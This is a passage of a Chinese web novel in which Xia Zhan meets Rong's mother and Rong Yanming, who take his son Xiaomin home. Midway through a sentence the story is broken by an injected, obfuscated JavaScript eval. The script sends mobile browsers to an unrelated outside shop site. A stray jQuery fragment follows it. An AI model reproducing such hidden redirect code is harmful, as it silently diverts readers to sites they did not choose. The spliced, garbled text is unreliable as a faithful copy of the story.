容母就这样看着他泣泪,正常人都不会半分不动容。
夏盏也是如此。
他呐呐走上前,翕动着嘴唇。
想要喊出那句“妈妈”。
无声地试了两遍,仍然是无法喊出。
没办法,眼前这位思念儿子流泪的妇人,并不是他真实的母亲。上辈子,他也没有体会过有母亲是什么感觉。
这种情感对他而来,太陌生了。
夏盏无法喊出口。
容母不疑有他,她泣不成声,语气里都带着哭腔。
“……盏盏。”
夏盏沉默片刻。
然后应道:“……嗯。”
容母的泪直接淌下来,止也止不住。
她以为夏盏是不愿意认她,心下怆然,眼里带了些震惊和不解神色,尴尬地止步在了原地。
夏盏在心里叹了口气。
他再三努力。
终于生硬地喊人:“……妈。”
闻言,容母瞬间像是变了个人似的,原本泣不成声的妇人就因为这句简单的“妈”,绽放出一个喜悦的笑容。
她:“哎——盏盏。”
夏盏走上前。
容母一把将他搂住,力道之紧,倒不像是个年过半百的中年女人。夏盏被拥得有些窒息,可以说,他活了那么多年了,从来没感受到过这种情感。
像是灼热的熔浆,不管他的迟疑,不论他是否接受,就那么蓬勃地、富有热情的,涌上他的心脏,源源不断地供给他那已经干涸多年的心门。
容阎明看出了夏盏的局促,适时拯救了他一把。
他拍了拍母亲的后背,劝道:“妈,你抱盏盏抱得太紧了。你没看到他快要呼吸不过来了吗?”
容母这才意识到自己的反应有多大。
她微微松开夏盏,趁这种机会,好好地端详着他。良久,换来容母一句批评。
“瘦了。”
容母有些责问的口气:“是不是没好好吃饭?”
吃外卖,应该算是好好吃了吧。
夏盏嗫喏道:“……有在,好好吃饭的。”
“你就骗我吧。”容母叹气,转而看向她的小孙子,“要是好好吃饭,小敏哪里会……”
那、么、瘦,三个字被她生硬地咽了回去。
她瞧着自家孙子那虎头虎脑的肉脸,还有胖乎乎的胳膊和腿,实在难以违背良心说出那三个字。
到最后。
容母只得心疼地教育道:“你肯定是只给儿子吃,不给自己吃了!盏盏啊,你初为人父,疼爱儿子我也是理解的。可千万别溺爱啊,小敏被喂得那么瓷实,你自己瘦得跟个麻杆似的,风一吹就能倒!”
容阎明:“……”
夏盏:“……”
夏诗敏:“……”
好像、奶奶、没在说他什么好话。
他听出来了。
呜呜呜。
容阎明就站在夏盏身边。
夏盏轻轻说:“妈妈好唠叨。”
容阎明瞥他一眼,“你才知道?”
夏盏:“六年了。快忘了。现在记忆快复苏了。”
容阎明轻轻地笑了声。
他走到容母身边,说:“妈,可以了。叙旧的事以后再说,先把小敏接走吧。”
容母却还是舍不得,她目光直溜溜地停留在夏盏脸上,不甘心地问:“你真的不回家吗?”
“我……”夏盏搬出现成的借口,“您知道的,我得去参加综艺。合约都签好了。”
“那综艺结束以后呢?”容母热切地问,“也不回来吗?你的房间一直是留着的,知道有小敏的存在后,我又叫张管家收拾出来一间儿童房。你要是嫌老宅子离小敏上学的地方远……我们一家人也可以再买套新房在小敏学校附近。反正一家人就应该住在一起!”
夏盏不知道该怎么拒绝。
只好说:“妈,再说吧,这里住得挺好的。”
容母看出了夏盏的不情愿,她瞥了一眼容阎明,还算有事实依据地猜测说:“不会是因为这小子吧!”
夏盏没听明白:“嗯?”
“你要是不想和阎明住在一起,觉得尴尬跟妈直说!”容母一副为夏盏做主的模样,她当时就觉得一定是夏盏看不上容阎明,不喜欢这段婚姻,所以才会逃婚离家出走的。
强扭的瓜不甜,现在让夏盏回来,容阎明就是一大障碍。
“我这就把阎明从家里赶出去!”容母拍案道,“你想跟我们住哪里都行。反正我不会让他跟我们住一起的。”
话音未落,容母换上了一个竟有些讨好的笑容。
“你说这样……行不行……盏盏……”
容母近乎乞求地看着夏盏。
完全不论就在旁边的容阎明不受通知,就被她驱赶在外,究竟是何想法。
夏盏也不知道有关于他归不归家,怎么就跟容阎明扯上关系了。
是。
他是不想和容阎明有太多剧情线上的牵扯。
但他更不想成为背刺容阎明,然后被大佬恨上的那一个啊!
夏盏立刻表示和大哥没有关系,纯粹是他自己觉得在外住了六年,住习惯了,暂时还不想回去。
容母长长地叹了口气,还想再劝。
却被容阎明掐住了话头,他平静地打断说:“你得尊重盏盏的个人意愿。他想回去就会回去了。”
容母被教育得一顿,遂像是一个好不容易鼓足气的气球,很快又憋了回去。
她低头,鬓发被风吹落了一些,飘散下来,王嫂心疼地看着容母,只觉得夫人这些年真是劳累了许多。
她上前去扶。
容阎明则走到夏诗敏身前,蹲下,摊开手给他牵。
夏诗敏牵住。
容阎明带着小孩走到车门旁,容母看起来伤心欲绝,看似几乎要昏厥过去,被王嫂扶着坐回了车里。
他顿住,定定地看向夏盏,替自己的母亲解释了两句。
“你别介意,她就是太想你回去了。”
夏盏哪里会介意。
他就是承受不住这种热烈的情感。
他蜷缩了一下手指,有些局促地说:“妈……她,没事吧。”
“没事。”容阎明淡淡地笑,“不在你面前演虚弱点。怎么能诓你回家。”
夏盏:“演?”
“嗯。”容阎明道,“她平常在家里身体挺好的,你放心吧。”
夏盏呼出一口浊气,放下了心来。
容阎明扶住车把手,还未推开。告别之前,他看向夏盏:“但是盏盏,如果可以的话,你还是回家吧。”
夏盏还想拒绝,想拿出应付容母的那一套拒绝。
唇边还没溢出那些编纂出来的谎言。
容阎明就先说出了口。
“不仅是她。”容阎明说,“我也,挺想你的。”
夏盏怔在原地。
他似乎也不需要夏盏有什么回应。长腿一迈,潇洒的身影就离开了夏盏的视线。
刚刚这处角落还站满了人,眼一眨,周边就只剩下他一个人。这本应该是夏盏的日常,他最习惯一个人。
但今天,心里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214677|143256||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
却像是空落落的,被人挖去了一块血肉。
难受得紧。
车里。
原本不哭不闹的夏诗敏,还是忍不住坠着小金豆,咬着唇,无声地想念着爸爸。
王嫂心疼地“哎呦”“哎呦”了两声,道:“小少爷!你怎么哭了呀!”
夏诗敏一边哭一边打着嗝。
“爸、爸。”
“……爸爸。”
两秒钟换一个叫法,都是在叫爸爸。
这可把容母给心疼坏了。她抱着夏诗敏,拍着他的背,一下一下地安慰他。
“小敏不哭,奶奶在这儿呢。”
“还有……大伯,大伯也在着呢。”
不提容阎明还行,一提他,夏诗敏哭得更大声了。
容母感觉到了小孩子的转变情绪,责怪地瞪了大儿子一眼,“你究竟是做什么了!盏盏不喜欢你就算了,连他小孩都讨厌你。我都被你连累惨了。小敏这哭得多伤心啊。”
容阎明沉默。
遂自嘲说:“毕竟父子连心。”
夏诗敏哭得上气不接下气。
容母怎么哄逗无济于事。
没办法,只能最让人厌恶的容阎明上场。
他让小孩坐正。
小孩像是得了军令似的,虽不情愿,还是坐正了。
容阎明直视于他,瞳孔里装着一个嚎啕大哭的情敌之子。
被他这么看着,夏诗敏也不知是怕,还是什么,渐渐地,哭声渐弱。
容阎明:“还哭吗?”
夏诗敏吸着鼻子,没说话。
容阎明:“这么不情愿,把你还给你爸爸。但是他要去忙工作,估计顾及不上你。你就跟在他后屁股,像个小累赘一样。”
夏诗敏想象了一下那样的场景,吓惨了。
他不要,不要成为小累赘。爸爸工作本来就很忙了,还要照顾他。
他不要成为这样的坏小孩。
容阎明循循善诱:“你还要回去吗?”
夏诗敏果断摇了摇头。
容阎明点头,算是赞成他的决定。
“做得好。”容阎明语气带了点不易察觉的温柔,“是体谅爸爸的好孩子。所以——”
“还哭吗?”
“不、不哭了。”夏诗敏忍不住打了个哭嗝。
容阎明奖励给夏诗敏一颗糖。
容母看不下去了,她实在无法苟同容阎明教育孩子的手法。因为她足够了解容阎明。因为这不是他的孩子,他才这么冷漠且理智地教育。
要是夏诗敏是他的孩子。
容阎明就不会是今天这副死样。
容母谴责道:“你好好做个大伯,别教坏小孩。”
“教坏?”容阎明问,“他这不是不哭了吗?你刚才那套没有用。”
是,没有用。
但总比容阎明这种反派式威胁诱哄好。
容母下了通牒:“反正小敏住家里这段时间,你尽量别回来吧,免得吓坏小孩。”
容阎明淡淡道:“求之不得。”
夏诗敏摊开手掌心,盯着手里的糖果,也没吃,看了一会儿,将它放在了口袋里。
管家忍不住从后视镜里偷看他们一家人,见小少爷那么乖,忍不住说道:“你们觉不觉得小少爷像一个人呀……”
容母说:“像他爸爸呀。小敏简直和盏盏是从一个模子里刻出来的。”
管家想了想,说:“是像夏少爷,这没问题。但是夫人,还有王嫂,你们不觉得吗?小少爷不说话的时候,这个神态,真的像极了阎明少爷呀!”